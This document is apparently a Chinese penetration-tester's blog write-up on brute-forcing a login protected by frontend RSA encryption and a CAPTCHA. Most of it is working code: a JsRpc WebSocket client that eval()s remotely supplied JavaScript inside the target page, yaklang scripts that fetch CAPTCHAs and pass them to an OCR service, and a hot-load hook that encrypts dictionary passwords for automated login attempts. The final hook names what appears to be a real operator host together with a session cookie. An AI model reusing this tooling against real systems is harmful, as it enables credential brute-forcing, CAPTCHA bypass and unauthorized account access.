前端加解密实战记录

文章发布时间:

最后更新时间:

日常渗透中…
场景加载中…


已知RSA,JsRpc注入,下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
var rpc_client_id, Hlclient = function (wsURL) {
this.wsURL = wsURL;
this.handlers = {
_execjs: function (resolve, param) {
var res = eval(param)
if (!res) {
resolve("没有返回值")
} else {
resolve(res)
}
}
};
this.socket = undefined;
if (!wsURL) {
throw new Error('wsURL can not be empty!!')
}
this.connect()
}
Hlclient.prototype.connect = function () {
if (this.wsURL.indexOf("clientId=") === -1 && rpc_client_id) {
this.wsURL += "&clientId=" + rpc_client_id
}
console.log('begin of connect to wsURL: ' + this.wsURL);
var _this = this;
try {
this.socket = new WebSocket(this.wsURL);
this.socket.onmessage = function (e) {
_this.handlerRequest(e.data)
}
} catch (e) {
console.log("connection failed,reconnect after 10s");
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.onclose = function () {
console.log('rpc已关闭');
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.addEventListener('open', (event) => {
console.log("rpc连接成功");
});
this.socket.addEventListener('error', (event) => {
console.error('rpc连接出错,请检查是否打开服务端:', event.error);
})
};
Hlclient.prototype.send = function (msg) {
this.socket.send(msg)
}
Hlclient.prototype.regAction = function (func_name, func) {
if (typeof func_name !== 'string') {
throw new Error("an func_name must be string");
}
if (typeof func !== 'function') {
throw new Error("must be function");
}
console.log("register func_name: " + func_name);
this.handlers[func_name] = func;
return true
}
Hlclient.prototype.handlerRequest = function (requestJson) {
var _this = this;
try {
var result = JSON.parse(requestJson)
} catch (error) {
console.log("请求信息解析错误", requestJson);
return
}
if (result["registerId"]) {
rpc_client_id = result['registerId']
return
}
if (!result['action'] || !result["message_id"]) {
console.warn('没有方法或者消息id,不处理');
return
}
var action = result["action"], message_id = result["message_id"]
var theHandler = this.handlers[action];
if (!theHandler) {
this.sendResult(action, message_id, 'action没找到');
return
}
try {
if (!result["param"]) {
theHandler(function (response) {
_this.sendResult(action, message_id, response);
})
return
}
var param = result["param"]
try {
param = JSON.parse(param)
} catch (e) {
}
theHandler(function (response) {
_this.sendResult(action, message_id, response);
}, param)
} catch (e) {
console.log("error: " + e);
_this.sendResult(action, message_id, e);
}
}
Hlclient.prototype.sendResult = function (action, message_id, e) {
if (typeof e === 'object' && e !== null) {
try {
e = JSON.stringify(e)
} catch (v) {
console.log(v)//不是json无需操作
}
}
this.send(JSON.stringify({"action": action, "message_id": message_id, "response_data": e}));
}

var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=test");

注入在encrypt之前即可

调试得到模数

抓包

劫持到验证码

劫持到key获取响应包,对照获得模数、公钥指数、RSAUUID

1
10001,9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55,9d74bbbe37ff2e79ff6082983b6e78a8

多次测试发现RSAuuid为动态参数,并且有检查,同时存在验证码检查,无法直接使用python发包测试

考虑yakit热加载并使用序列测试
流程如下
第一个请求包先向验证码接口发包
第一个响应包获取验证码图片->发送到验证码OCR服务得到验证码

第二个请求包向key接口发包
劫持第二个响应包,提取模数、公钥指数(硬编码写入即可)RSAUUID(需要从响应包中提取)

构造第三个请求包 使用RSAencode(热加载),利用公钥对输入(passwd)加密

验证码

接下来开始构造(这里因为代理环境原因,验证码ocr不能正确使用,经过测试也无法完全识别,就留个板子和思路)

这里我用yakit插件市场里的验证码插件改了一点,改成了yaklang形式进行测试
注意这里的请求头是yakit自带靶场里的验证码部分,使用的时候需要修改为目标的请求头
下面最后再放热加载里的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

captchaRecognizer = func() {
// 1. 定义HTTP请求模板
captchaRequest = `GET /verification/code HTTP/1.1
Host: localhost:8787
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Referer: http://localhost:8787/
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br, zstd
Cookie: YSESSIONID=2x0GhLYHatymPlOkEIuHaLinX7P`

ocrRequest = `POST /reg HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth`


Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)

// 2. 获取验证码图片
rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~

// 3. 处理验证码图片
rawImage = poc.GetHTTPPacketBody(rsp1)
image = codec.EncodeBase64(rawImage)
println(image)
rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image /*type: []byte*/, false /*type: bool*/))~
captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
println("code:",captcha)
}
captchaRecognizer()

这个接口貌似有点菜,使用yakit自带的靶场进行测试的时候给我整红温了

RSAuuid提取

使用数据提取器提取并加入参数中

1
[a-fA-F0-9]{32}$

正则表达式匹配

该参数可以直接继承,下一个请求包中使用

1
{{p(RSAuuid)}}

即可直接调用

RSA

RSA加密的热加载:找了下yaklang官方文档里没有crypto类的相关方法,所以这里先用python生成合适的公钥再扔到热加载里(已知模数和指数不会改变)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import binascii
import base64

rsaUUID="9d74bbbe37ff2e79ff6082983b6e78a8"

# 提供的模数(十六进制字符串)
modulus_hex = "9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55"

# 假设的公钥指数(十六进制字符串)
public_exponent_hex = "010001"

# 将十六进制字符串转换为整数
modulus = int(modulus_hex, 16)
public_exponent = int(public_exponent_hex, 16)

# 创建RSA公钥对象
key = RSA.construct((modulus, public_exponent))

# 生成PEM格式的公钥
public_key_pem = key.export_key(format='PEM')

# 打印PEM格式的公钥
print(public_key_pem.decode('utf-8'))

# 将PEM格式的公钥转换为Base64字符串
public_key_base64 = base64.b64encode(public_key_pem).decode('utf-8')

# 打印Base64格式的公钥
print("Base64格式的公钥:", public_key_base64)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
RSAencode = func(s) {
/*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/

/*exponentHex = "010001"*/

publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
publicKey = codec.DecodeBase64(publicKey64)~
print("公钥:",publicKey64)
publicKey = []byte(publicKey)


password = s /* 输入 */
resultList = []

jsonInput = json.dumps(password)
result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
base64Result = codec.EncodeBase64(result)

return base64Result

}

此时在请求包中调用

1
{{yak(RSAencode({{x(passwd_top)}}))}}

就可以开爆了

final

这里修改一下序列逻辑,仅采用两个请求包,第一个获得key,第二个请求包利用热加载的beforerequest魔术方法向验证码接口拿验证码再发到OCR接口识别,最后在请求包中直接调用验证码即可
以下是请求包2完整的热加载方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
RSAencode = func(s) {
/*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/

/*exponentHex = "010001"*/

publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
publicKey = codec.DecodeBase64(publicKey64)~
print("公钥:",publicKey64)
publicKey = []byte(publicKey)


password = s /* 输入 */
resultList = []

jsonInput = json.dumps(password)
result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
base64Result = codec.EncodeBase64(result)

return base64Result

}

beforerequest = func(req) {
// 1. 定义HTTP请求模板
captchaRequest = `GET /example/validateImgCode?test=0.21286129382580565 HTTP/1.1
Host: mboss.acc.gdtel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: example.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=98325FD634522C5A18020149292D935C
`

ocrRequest = `POST /reg HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth`


Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)

// 2. 获取验证码图片
rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~

// 3. 处理验证码图片
rawImage = poc.GetHTTPPacketBody(rsp1)
image = codec.EncodeBase64(rawImage)
println(image)
rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image /*type: []byte*/, false /*type: bool*/))~
captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
println("code:",captcha)

req = str.ReplaceAll(string(req) /*type: string*/, "__captcha__" /*type: string*/, string(captcha) /*type: string*/)
return []byte(req)

}


最终的请求包如下:

这里因为内网环境要走53008端口,流量从这里出不知道为什么走不回ocr服务的端口了,就没有测试结果。